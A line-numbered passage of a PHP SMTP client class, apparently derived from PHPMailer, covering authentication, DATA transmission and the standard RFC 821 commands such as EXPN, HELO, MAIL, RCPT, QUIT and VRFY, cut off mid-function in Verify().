  2793.  
  2794.         # sometimes the SMTP server takes a little longer to respond
  2795.        # so we will give it a longer timeout for the first read
  2796.        // Windows still does not have support for this timeout function
  2797.         if(substr(PHP_OS, 0, 3) != "WIN")
  2798.            socket_set_timeout($this->smtp_conn, $tval, 0);
  2799.  
  2800.         # get any announcement stuff
  2801.        $announce = $this->get_lines();
  2802.  
  2803.         # set the timeout  of any socket functions at 1/10 of a second
  2804.        //if(function_exists("socket_set_timeout"))
  2805.         //   socket_set_timeout($this->smtp_conn, 0, 100000);
  2806.  
  2807.         if($this->do_debug >= 2) {
  2808.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  2809.         }
  2810.  
  2811.         return true;
  2812.     }
  2813.  
  2814.     /**
  2815.      * Performs SMTP authentication.  Must be run after running the
  2816.      * Hello() method.  Returns true if successfully authenticated.
  2817.      * @access public
  2818.      * @return bool
  2819.      */
  2820.     function Authenticate($username, $password) {
  2821.         // Start authentication
  2822.         fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  2823.  
  2824.         $rply = $this->get_lines();
  2825.         $code = substr($rply,0,3);
  2826.  
  2827.         if($code != 334)
  2828.         {
  2829.             $this->error =
  2830.                 array("error" => "AUTH not accepted from server",
  2831.                       "smtp_code" => $code,
  2832.                       "smtp_msg" => substr($rply,4));
  2833.             if($this->do_debug >= 1) {
  2834.                 echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  2835.             }
  2836.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  2837.             $this->smtpError = "auth_auth";
  2838.             return false;
  2839.         }
  2840.  
  2841.         // Send encoded username
  2842.         fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  2843.  
  2844.         $rply = $this->get_lines();
  2845.         $code = substr($rply,0,3);
  2846.  
  2847.         if($code != 334) {
  2848.             $this->error =
  2849.                 array("error" => "Username not accepted from server",
  2850.                       "smtp_code" => $code,
  2851.                       "smtp_msg" => substr($rply,4));
  2852.             if($this->do_debug >= 1) {
  2853.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  2854.                          ": " . $rply . $this->CRLF;
  2855.             }
  2856.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  2857.             $this->smtpError = "auth_username";
  2858.             return false;
  2859.         }
  2860.  
  2861.         // Send encoded password
  2862.         fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  2863.  
  2864.         $rply = $this->get_lines();
  2865.         $code = substr($rply,0,3);
  2866.  
  2867.         if($code != 235)
  2868.         {
  2869.             $this->error =
  2870.                 array("error" => "Password not accepted from server",
  2871.                       "smtp_code" => $code,
  2872.                       "smtp_msg" => substr($rply,4));
  2873.             if($this->do_debug >= 1) {
  2874.                 echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  2875.             }
  2876.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  2877.             $this->smtpError = "auth_password";
  2878.             return false;
  2879.         }
  2880.  
  2881.         return true;
  2882.     }
  2883.  
  2884.     /**
  2885.      * Returns true if connected to a server otherwise false
  2886.      * @access private
  2887.      * @return bool
  2888.      */
  2889.     function Connected() {
  2890.         if(!empty($this->smtp_conn)) {
  2891.             $sock_status = socket_get_status($this->smtp_conn);
  2892.             if($sock_status["eof"]) {
  2893.                 # hmm this is an odd situation... the socket is
  2894.                # valid but we aren't connected anymore
  2895.                if($this->do_debug >= 1) {
  2896.                     echo "SMTP -> NOTICE:" . $this->CRLF .
  2897.                          "EOF caught while checking if connected";
  2898.                 }
  2899.                 //DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF);
  2900.                 $this->Close();
  2901.                 return false;
  2902.             }
  2903.             return true; # everything looks good
  2904.        }
  2905.         return false;
  2906.     }
  2907.  
  2908.     /**
  2909.      * Closes the socket and cleans up the state of the class.
  2910.      * It is not considered good to use this function without
  2911.      * first trying to use QUIT.
  2912.      * @access public
  2913.      * @return void
  2914.      */
  2915.     function Close() {
  2916.         $this->error = null; # so there is no confusion
  2917.        $this->helo_rply = null;
  2918.         $this->smtp_buffer = null;
  2919.         if(!empty($this->smtp_conn)) {
  2920.             # close the connection and cleanup
  2921.            fclose($this->smtp_conn);
  2922.             $this->smtp_conn = 0;
  2923.         }
  2924.     }
  2925.  
  2926.  
  2927.     /***************************************************************
  2928.      *                        SMTP COMMANDS                       *
  2929.      *************************************************************/
  2930.  
  2931.     /**
  2932.      * Issues a data command and sends the msg_data to the server
  2933.      * finializing the mail transaction. $msg_data is the message
  2934.      * that is to be send with the headers. Each header needs to be
  2935.      * on a single line followed by a <CRLF> with the message headers
  2936.      * and the message body being seperated by and additional <CRLF>.
  2937.      *
  2938.      * Implements rfc 821: DATA <CRLF>
  2939.      *
  2940.      * SMTP CODE INTERMEDIATE: 354
  2941.      *     [data]
  2942.      *     <CRLF>.<CRLF>
  2943.      *     SMTP CODE SUCCESS: 250
  2944.      *     SMTP CODE FAILURE: 552,554,451,452
  2945.      * SMTP CODE FAILURE: 451,554
  2946.      * SMTP CODE ERROR  : 500,501,503,421
  2947.      * @access public
  2948.      * @return bool
  2949.      */
  2950.     function Data($msg_data) {
  2951.         $this->error = null; # so no confusion is caused
  2952.  
  2953.         if(!$this->connected()) {
  2954.             $this->error = array(
  2955.                     "error" => "Called Data() without being connected");
  2956.             return false;
  2957.         }
  2958.  
  2959.         fputs($this->smtp_conn,"DATA" . $this->CRLF);
  2960.  
  2961.         $rply = $this->get_lines();
  2962.         $code = substr($rply,0,3);
  2963.  
  2964.         if($this->do_debug >= 2) {
  2965.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  2966.         }
  2967.  
  2968.         if($code != 354) {
  2969.             $this->error =
  2970.                 array("error" => "DATA command not accepted from server",
  2971.                       "smtp_code" => $code,
  2972.                       "smtp_msg" => substr($rply,4));
  2973.             if($this->do_debug >= 1) {
  2974.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  2975.                          ": " . $rply . $this->CRLF;
  2976.             }
  2977.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  2978.             $this->smtpError = "data";
  2979.             $this->smtpSendError++;
  2980.             return false;
  2981.         }
  2982.  
  2983.         # the server is ready to accept data!
  2984.        # according to rfc 821 we should not send more than 1000
  2985.        # including the CRLF
  2986.        # characters on a single line so we will break the data up
  2987.        # into lines by \r and/or \n then if needed we will break
  2988.        # each of those into smaller lines to fit within the limit.
  2989.        # in addition we will be looking for lines that start with
  2990.        # a period '.' and append and additional period '.' to that
  2991.        # line. NOTE: this does not count towards are limit.
  2992.  
  2993.         # normalize the line breaks so we know the explode works
  2994.        $msg_data = str_replace("\r\n","\n",$msg_data);
  2995.         $msg_data = str_replace("\r","\n",$msg_data);
  2996.         $lines = explode("\n",$msg_data);
  2997.  
  2998.         # we need to find a good way to determine is headers are
  2999.        # in the msg_data or if it is a straight msg body
  3000.        # currently I'm assuming rfc 822 definitions of msg headers
  3001.        # and if the first field of the first line (':' sperated)
  3002.        # does not contain a space then it _should_ be a header
  3003.        # and we can process all lines before a blank "" line as
  3004.        # headers.
  3005.        $field = substr($lines[0],0,strpos($lines[0],":"));
  3006.         $in_headers = false;
  3007.         if(!empty($field) && !strstr($field," ")) {
  3008.             $in_headers = true;
  3009.         }
  3010.  
  3011.         $max_line_length = 998; # used below; set here for ease in change
  3012.  
  3013.         while(list(,$line) = @each($lines)) {
  3014.             $lines_out = null;
  3015.             if($line == "" && $in_headers) {
  3016.                 $in_headers = false;
  3017.             }
  3018.             # ok we need to break this line up into several
  3019.            # smaller lines
  3020.            while(strlen($line) > $max_line_length) {
  3021.                 $pos = strrpos(substr($line,0,$max_line_length)," ");
  3022.  
  3023.                 # Patch to fix DOS attack
  3024.                if(!$pos) {
  3025.                     $pos = $max_line_length - 1;
  3026.                 }
  3027.  
  3028.                 $lines_out[] = substr($line,0,$pos);
  3029.                 $line = substr($line,$pos + 1);
  3030.                 # if we are processing headers we need to
  3031.                # add a LWSP-char to the front of the new line
  3032.                # rfc 822 on long msg headers
  3033.                if($in_headers) {
  3034.                     $line = "\t" . $line;
  3035.                 }
  3036.             }
  3037.             $lines_out[] = $line;
  3038.  
  3039.             # now send the lines to the server
  3040.            while(list(,$line_out) = @each($lines_out)) {
  3041.                 if(strlen($line_out) > 0)
  3042.                 {
  3043.                     if(substr($line_out, 0, 1) == ".") {
  3044.                         $line_out = "." . $line_out;
  3045.                     }
  3046.                 }
  3047.                 fputs($this->smtp_conn,$line_out . $this->CRLF);
  3048.             }
  3049.         }
  3050.  
  3051.         # ok all the message data has been sent so lets get this
  3052.        # over with aleady
  3053.        fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  3054.  
  3055.         $rply = $this->get_lines();
  3056.         $code = substr($rply,0,3);
  3057.  
  3058.         if($this->do_debug >= 2) {
  3059.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3060.         }
  3061.  
  3062.         if($code != 250) {
  3063.             $this->error =
  3064.                 array("error" => "DATA not accepted from server",
  3065.                       "smtp_code" => $code,
  3066.                       "smtp_msg" => substr($rply,4));
  3067.             if($this->do_debug >= 1) {
  3068.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3069.                          ": " . $rply . $this->CRLF;
  3070.             }
  3071.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3072.             $this->smtpError = "data";
  3073.             $this->smtpSendError++;
  3074.             return false;
  3075.         }
  3076.         return true;
  3077.     }
  3078.  
  3079.     /**
  3080.      * Expand takes the name and asks the server to list all the
  3081.      * people who are members of the _list_. Expand will return
  3082.      * back and array of the result or false if an error occurs.
  3083.      * Each value in the array returned has the format of:
  3084.      *     [ <full-name> <sp> ] <path>
  3085.      * The definition of <path> is defined in rfc 821
  3086.      *
  3087.      * Implements rfc 821: EXPN <SP> <string> <CRLF>
  3088.      *
  3089.      * SMTP CODE SUCCESS: 250
  3090.      * SMTP CODE FAILURE: 550
  3091.      * SMTP CODE ERROR  : 500,501,502,504,421
  3092.      * @access public
  3093.      * @return string array
  3094.      */
  3095.     function Expand($name) {
  3096.         $this->error = null; # so no confusion is caused
  3097.  
  3098.         if(!$this->connected()) {
  3099.             $this->error = array(
  3100.                     "error" => "Called Expand() without being connected");
  3101.             return false;
  3102.         }
  3103.  
  3104.         fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  3105.  
  3106.         $rply = $this->get_lines();
  3107.         $code = substr($rply,0,3);
  3108.  
  3109.         if($this->do_debug >= 2) {
  3110.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3111.         }
  3112.  
  3113.         if($code != 250) {
  3114.             $this->error =
  3115.                 array("error" => "EXPN not accepted from server",
  3116.                       "smtp_code" => $code,
  3117.                       "smtp_msg" => substr($rply,4));
  3118.             if($this->do_debug >= 1) {
  3119.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3120.                          ": " . $rply . $this->CRLF;
  3121.             }
  3122.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3123.             return false;
  3124.         }
  3125.  
  3126.         # parse the reply and place in our array to return to user
  3127.        $entries = explode($this->CRLF,$rply);
  3128.         while(list(,$l) = @each($entries)) {
  3129.             $list[] = substr($l,4);
  3130.         }
  3131.  
  3132.         return $list;
  3133.     }
  3134.  
  3135.     /**
  3136.      * Sends the HELO command to the smtp server.
  3137.      * This makes sure that we and the server are in
  3138.      * the same known state.
  3139.      *
  3140.      * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  3141.      *
  3142.      * SMTP CODE SUCCESS: 250
  3143.      * SMTP CODE ERROR  : 500, 501, 504, 421
  3144.      * @access public
  3145.      * @return bool
  3146.      */
  3147.     function Hello($host="") {
  3148.         $this->error = null; # so no confusion is caused
  3149.  
  3150.         if(!$this->connected()) {
  3151.             $this->error = array(
  3152.                     "error" => "Called Hello() without being connected");
  3153.             return false;
  3154.         }
  3155.  
  3156.         # if a hostname for the HELO wasn't specified determine
  3157.        # a suitable one to send
  3158.        if(empty($host)) {
  3159.             # we need to determine some sort of appopiate default
  3160.            # to send to the server
  3161.            $host = "localhost";
  3162.         }
  3163.  
  3164.         // Send extended hello first (RFC 2821)
  3165.         if(!$this->SendHello("EHLO", $host))
  3166.         {
  3167.             if(!$this->SendHello("HELO", $host))
  3168.                 return false;
  3169.         }
  3170.  
  3171.         return true;
  3172.     }
  3173.  
  3174.     /**
  3175.      * Sends a HELO/EHLO command.
  3176.      * @access private
  3177.      * @return bool
  3178.      */
  3179.     function SendHello($hello, $host) {
  3180.         fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  3181.  
  3182.         $rply = $this->get_lines();
  3183.         $code = substr($rply,0,3);
  3184.  
  3185.         if($this->do_debug >= 2) {
  3186.             echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  3187.         }
  3188.  
  3189.         if($code != 250) {
  3190.             $this->error =
  3191.                 array("error" => $hello . " not accepted from server",
  3192.                       "smtp_code" => $code,
  3193.                       "smtp_msg" => substr($rply,4));
  3194.             if($this->do_debug >= 1) {
  3195.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3196.                          ": " . $rply . $this->CRLF;
  3197.             }
  3198.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3199.             $this->smtpError = "hello";
  3200.             $this->smtpSendError++;
  3201.             return false;
  3202.         }
  3203.  
  3204.         $this->helo_rply = $rply;
  3205.        
  3206.         return true;
  3207.     }
  3208.  
  3209.     /**
  3210.      * Gets help information on the keyword specified. If the keyword
  3211.      * is not specified then returns generic help, ussually contianing
  3212.      * A list of keywords that help is available on. This function
  3213.      * returns the results back to the user. It is up to the user to
  3214.      * handle the returned data. If an error occurs then false is
  3215.      * returned with $this->error set appropiately.
  3216.      *
  3217.      * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  3218.      *
  3219.      * SMTP CODE SUCCESS: 211,214
  3220.      * SMTP CODE ERROR  : 500,501,502,504,421
  3221.      * @access public
  3222.      * @return string
  3223.      */
  3224.     function Help($keyword="") {
  3225.         $this->error = null; # to avoid confusion
  3226.  
  3227.         if(!$this->connected()) {
  3228.             $this->error = array(
  3229.                     "error" => "Called Help() without being connected");
  3230.             return false;
  3231.         }
  3232.  
  3233.         $extra = "";
  3234.         if(!empty($keyword)) {
  3235.             $extra = " " . $keyword;
  3236.         }
  3237.  
  3238.         fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  3239.  
  3240.         $rply = $this->get_lines();
  3241.         $code = substr($rply,0,3);
  3242.  
  3243.         if($this->do_debug >= 2) {
  3244.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3245.         }
  3246.  
  3247.         if($code != 211 && $code != 214) {
  3248.             $this->error =
  3249.                 array("error" => "HELP not accepted from server",
  3250.                       "smtp_code" => $code,
  3251.                       "smtp_msg" => substr($rply,4));
  3252.             if($this->do_debug >= 1) {
  3253.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3254.                          ": " . $rply . $this->CRLF;
  3255.             }
  3256.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3257.             return false;
  3258.         }
  3259.  
  3260.         return $rply;
  3261.     }
  3262.  
  3263.     /**
  3264.      * Starts a mail transaction from the email address specified in
  3265.      * $from. Returns true if successful or false otherwise. If True
  3266.      * the mail transaction is started and then one or more Recipient
  3267.      * commands may be called followed by a Data command.
  3268.      *
  3269.      * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  3270.      *
  3271.      * SMTP CODE SUCCESS: 250
  3272.      * SMTP CODE SUCCESS: 552,451,452
  3273.      * SMTP CODE SUCCESS: 500,501,421
  3274.      * @access public
  3275.      * @return bool
  3276.      */
  3277.     function Mail($from) {
  3278.         $this->error = null; # so no confusion is caused
  3279.  
  3280.         if(!$this->connected()) {
  3281.             $this->error = array(
  3282.                     "error" => "Called Mail() without being connected");
  3283.             return false;
  3284.         }
  3285.  
  3286.         fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $this->CRLF);
  3287.  
  3288.         $rply = $this->get_lines();
  3289.         $code = substr($rply,0,3);
  3290.  
  3291.         if($this->do_debug >= 2) {
  3292.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3293.         }
  3294.  
  3295.         if($code != 250) {
  3296.             $this->error =
  3297.                 array("error" => "MAIL not accepted from server",
  3298.                       "smtp_code" => $code,
  3299.                       "smtp_msg" => substr($rply,4));
  3300.             if($this->do_debug >= 1) {
  3301.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3302.                          ": " . $rply . $this->CRLF;
  3303.             }
  3304.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3305.             $this->smtpError = "mail";
  3306.             $this->smtpSendError++;
  3307.             return false;
  3308.         }
  3309.         return true;
  3310.     }
  3311.  
  3312.     /**
  3313.      * Sends the command NOOP to the SMTP server.
  3314.      *
  3315.      * Implements from rfc 821: NOOP <CRLF>
  3316.      *
  3317.      * SMTP CODE SUCCESS: 250
  3318.      * SMTP CODE ERROR  : 500, 421
  3319.      * @access public
  3320.      * @return bool
  3321.      */
  3322.     function Noop() {
  3323.         $this->error = null; # so no confusion is caused
  3324.  
  3325.         if(!$this->connected()) {
  3326.             $this->error = array(
  3327.                     "error" => "Called Noop() without being connected");
  3328.             return false;
  3329.         }
  3330.  
  3331.         fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  3332.  
  3333.         $rply = $this->get_lines();
  3334.         $code = substr($rply,0,3);
  3335.  
  3336.         if($this->do_debug >= 2) {
  3337.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3338.         }
  3339.  
  3340.         if($code != 250) {
  3341.             $this->error =
  3342.                 array("error" => "NOOP not accepted from server",
  3343.                       "smtp_code" => $code,
  3344.                       "smtp_msg" => substr($rply,4));
  3345.             if($this->do_debug >= 1) {
  3346.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3347.                          ": " . $rply . $this->CRLF;
  3348.             }
  3349.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3350.             return false;
  3351.         }
  3352.         return true;
  3353.     }
  3354.  
  3355.     /**
  3356.      * Sends the quit command to the server and then closes the socket
  3357.      * if there is no error or the $close_on_error argument is true.
  3358.      *
  3359.      * Implements from rfc 821: QUIT <CRLF>
  3360.      *
  3361.      * SMTP CODE SUCCESS: 221
  3362.      * SMTP CODE ERROR  : 500
  3363.      * @access public
  3364.      * @return bool
  3365.      */
  3366.     function Quit($close_on_error=true) {
  3367.         $this->error = null; # so there is no confusion
  3368.  
  3369.         if(!$this->connected()) {
  3370.             $this->error = array(
  3371.                     "error" => "Called Quit() without being connected");
  3372.             return false;
  3373.         }
  3374.  
  3375.         # send the quit command to the server
  3376.        fputs($this->smtp_conn,"quit" . $this->CRLF);
  3377.  
  3378.         # get any good-bye messages
  3379.        $byemsg = $this->get_lines();
  3380.  
  3381.         if($this->do_debug >= 2) {
  3382.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  3383.         }
  3384.  
  3385.         $rval = true;
  3386.         $e = null;
  3387.  
  3388.         $code = substr($byemsg,0,3);
  3389.         if($code != 221) {
  3390.             # use e as a tmp var cause Close will overwrite $this->error
  3391.            $e = array("error" => "SMTP server rejected quit command",
  3392.                        "smtp_code" => $code,
  3393.                        "smtp_rply" => substr($byemsg,4));
  3394.             $rval = false;
  3395.             if($this->do_debug >= 1) {
  3396.                 echo "SMTP -> ERROR: " . $e["error"] . ": " .
  3397.                          $byemsg . $this->CRLF;
  3398.             }
  3399.         }
  3400.  
  3401.         if(empty($e) || $close_on_error) {
  3402.             $this->Close();
  3403.         }
  3404.  
  3405.         return $rval;
  3406.     }
  3407.  
  3408.     /**
  3409.      * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  3410.      * Returns true if the recipient was accepted false if it was rejected.
  3411.      *
  3412.      * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  3413.      *
  3414.      * SMTP CODE SUCCESS: 250,251
  3415.      * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  3416.      * SMTP CODE ERROR  : 500,501,503,421
  3417.      * @access public
  3418.      * @return bool
  3419.      */
  3420.     function Recipient($to) {
  3421.         $this->error = null; # so no confusion is caused
  3422.  
  3423.         if(!$this->connected()) {
  3424.             $this->error = array(
  3425.                     "error" => "Called Recipient() without being connected");
  3426.             return false;
  3427.         }
  3428.  
  3429.         fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  3430.  
  3431.         $rply = $this->get_lines();
  3432.         $code = substr($rply,0,3);
  3433.  
  3434.         if($this->do_debug >= 2) {
  3435.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3436.         }
  3437.  
  3438.         if($code != 250 && $code != 251) {
  3439.             $this->error =
  3440.                 array("error" => "RCPT not accepted from server",
  3441.                       "smtp_code" => $code,
  3442.                       "smtp_msg" => substr($rply,4));
  3443.             if($this->do_debug >= 1) {
  3444.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3445.                          ": " . $rply . $this->CRLF;
  3446.             }
  3447.             $this->smtpError = "rcpt";
  3448.             $this->smtpSendError++;
  3449.             return false;
  3450.         }
  3451.         return true;
  3452.     }
  3453.  
  3454.     /**
  3455.      * Sends the RSET command to abort and transaction that is
  3456.      * currently in progress. Returns true if successful false
  3457.      * otherwise.
  3458.      *
  3459.      * Implements rfc 821: RSET <CRLF>
  3460.      *
  3461.      * SMTP CODE SUCCESS: 250
  3462.      * SMTP CODE ERROR  : 500,501,504,421
  3463.      * @access public
  3464.      * @return bool
  3465.      */
  3466.     function Reset() {
  3467.         $this->error = null; # so no confusion is caused
  3468.  
  3469.         if(!$this->connected()) {
  3470.             $this->error = array(
  3471.                     "error" => "Called Reset() without being connected");
  3472.             return false;
  3473.         }
  3474.  
  3475.         fputs($this->smtp_conn,"RSET" . $this->CRLF);
  3476.  
  3477.         $rply = $this->get_lines();
  3478.         $code = substr($rply,0,3);
  3479.  
  3480.         if($this->do_debug >= 2) {
  3481.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3482.         }
  3483.  
  3484.         if($code != 250) {
  3485.             $this->error =
  3486.                 array("error" => "RSET failed",
  3487.                       "smtp_code" => $code,
  3488.                       "smtp_msg" => substr($rply,4));
  3489.             if($this->do_debug >= 1) {
  3490.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3491.                          ": " . $rply . $this->CRLF;
  3492.             }
  3493.             $this->smtpError = "rset";
  3494.             $this->smtpSendError++;
  3495.             return false;
  3496.         }
  3497.  
  3498.         return true;
  3499.     }
  3500.  
  3501.     /**
  3502.      * Starts a mail transaction from the email address specified in
  3503.      * $from. Returns true if successful or false otherwise. If True
  3504.      * the mail transaction is started and then one or more Recipient
  3505.      * commands may be called followed by a Data command. This command
  3506.      * will send the message to the users terminal if they are logged
  3507.      * in.
  3508.      *
  3509.      * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  3510.      *
  3511.      * SMTP CODE SUCCESS: 250
  3512.      * SMTP CODE SUCCESS: 552,451,452
  3513.      * SMTP CODE SUCCESS: 500,501,502,421
  3514.      * @access public
  3515.      * @return bool
  3516.      */
  3517.     function Send($from) {
  3518.         $this->error = null; # so no confusion is caused
  3519.  
  3520.         if(!$this->connected()) {
  3521.             $this->error = array(
  3522.                     "error" => "Called Send() without being connected");
  3523.             return false;
  3524.         }
  3525.  
  3526.         fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  3527.  
  3528.         $rply = $this->get_lines();
  3529.         $code = substr($rply,0,3);
  3530.  
  3531.         if($this->do_debug >= 2) {
  3532.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3533.         }
  3534.  
  3535.         if($code != 250) {
  3536.             $this->error =
  3537.                 array("error" => "SEND not accepted from server",
  3538.                       "smtp_code" => $code,
  3539.                       "smtp_msg" => substr($rply,4));
  3540.             if($this->do_debug >= 1) {
  3541.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3542.                          ": " . $rply . $this->CRLF;
  3543.             }
  3544.             $this->smtpError = "send";
  3545.             $this->smtpSendError++;
  3546.             return false;
  3547.         }
  3548.         return true;
  3549.     }
  3550.  
  3551.     /**
  3552.      * Starts a mail transaction from the email address specified in
  3553.      * $from. Returns true if successful or false otherwise. If True
  3554.      * the mail transaction is started and then one or more Recipient
  3555.      * commands may be called followed by a Data command. This command
  3556.      * will send the message to the users terminal if they are logged
  3557.      * in and send them an email.
  3558.      *
  3559.      * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  3560.      *
  3561.      * SMTP CODE SUCCESS: 250
  3562.      * SMTP CODE SUCCESS: 552,451,452
  3563.      * SMTP CODE SUCCESS: 500,501,502,421
  3564.      * @access public
  3565.      * @return bool
  3566.      */
  3567.     function SendAndMail($from) {
  3568.         $this->error = null; # so no confusion is caused
  3569.  
  3570.         if(!$this->connected()) {
  3571.             $this->error = array(
  3572.                 "error" => "Called SendAndMail() without being connected");
  3573.             return false;
  3574.         }
  3575.  
  3576.         fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  3577.  
  3578.         $rply = $this->get_lines();
  3579.         $code = substr($rply,0,3);
  3580.  
  3581.         if($this->do_debug >= 2) {
  3582.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3583.         }
  3584.  
  3585.         if($code != 250) {
  3586.             $this->error =
  3587.                 array("error" => "SAML not accepted from server",
  3588.                       "smtp_code" => $code,
  3589.                       "smtp_msg" => substr($rply,4));
  3590.             if($this->do_debug >= 1) {
  3591.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3592.                          ": " . $rply . $this->CRLF;
  3593.             }
  3594.             return false;
  3595.         }
  3596.         return true;
  3597.     }
  3598.  
  3599.     /**
  3600.      * Starts a mail transaction from the email address specified in
  3601.      * $from. Returns true if successful or false otherwise. If True
  3602.      * the mail transaction is started and then one or more Recipient
  3603.      * commands may be called followed by a Data command. This command
  3604.      * will send the message to the users terminal if they are logged
  3605.      * in or mail it to them if they are not.
  3606.      *
  3607.      * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  3608.      *
  3609.      * SMTP CODE SUCCESS: 250
  3610.      * SMTP CODE SUCCESS: 552,451,452
  3611.      * SMTP CODE SUCCESS: 500,501,502,421
  3612.      * @access public
  3613.      * @return bool
  3614.      */
  3615.     function SendOrMail($from) {
  3616.         $this->error = null; # so no confusion is caused
  3617.  
  3618.         if(!$this->connected()) {
  3619.             $this->error = array(
  3620.                 "error" => "Called SendOrMail() without being connected");
  3621.             return false;
  3622.         }
  3623.  
  3624.         fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  3625.  
  3626.         $rply = $this->get_lines();
  3627.         $code = substr($rply,0,3);
  3628.  
  3629.         if($this->do_debug >= 2) {
  3630.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3631.         }
  3632.  
  3633.         if($code != 250) {
  3634.             $this->error =
  3635.                 array("error" => "SOML not accepted from server",
  3636.                       "smtp_code" => $code,
  3637.                       "smtp_msg" => substr($rply,4));
  3638.             if($this->do_debug >= 1) {
  3639.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3640.                          ": " . $rply . $this->CRLF;
  3641.             }
  3642.             return false;
  3643.         }
  3644.         return true;
  3645.     }
  3646.  
  3647.     /**
  3648.      * This is an optional command for SMTP that this class does not
  3649.      * support. This method is here to make the RFC821 Definition
  3650.      * complete for this class and __may__ be implimented in the future
  3651.      *
  3652.      * Implements from rfc 821: TURN <CRLF>
  3653.      *
  3654.      * SMTP CODE SUCCESS: 250
  3655.      * SMTP CODE FAILURE: 502
  3656.      * SMTP CODE ERROR  : 500, 503
  3657.      * @access public
  3658.      * @return bool
  3659.      */
  3660.     function Turn() {
  3661.         $this->error = array("error" => "This method, TURN, of the SMTP ".
  3662.                                         "is not implemented");
  3663.         if($this->do_debug >= 1) {
  3664.             echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  3665.         }
  3666.         return false;
  3667.     }
  3668.  
  3669.     /**
  3670.      * Verifies that the name is recognized by the server.
  3671.      * Returns false if the name could not be verified otherwise
  3672.      * the response from the server is returned.
  3673.      *
  3674.      * Implements rfc 821: VRFY <SP> <string> <CRLF>
  3675.      *
  3676.      * SMTP CODE SUCCESS: 250,251
  3677.      * SMTP CODE FAILURE: 550,551,553
  3678.      * SMTP CODE ERROR  : 500,501,502,421
  3679.      * @access public
  3680.      * @return int
  3681.      */
  3682.     function Verify($name) {
  3683.         $this->error = null; # so no confusion is caused
  3684.  
  3685.         if(!$this->connected()) {
  3686.             $this->error = array(
  3687.                     "error" => "Called Verify() without being connected");
  3688.             return false;
  3689.         }
  3690.  
  3691.         fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  3692.  
  3693.         $rply = $this->get_lines();
  3694.         $code = substr($rply,0,3);
  3695.  
  3696.         if($this->do_debug >= 2) {
  3697.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3698.         }
  3699.  
  3700.         if($code != 250 && $code != 251) {
  3701.             $this->error =
  3702.                 array("error" => "VRFY failed on name '$name'",
  3703.                       "smtp_code" => $code,
  3704.                       "smtp_msg" => substr($rply,4));
  3705.             if($this->do_debug >= 1) {
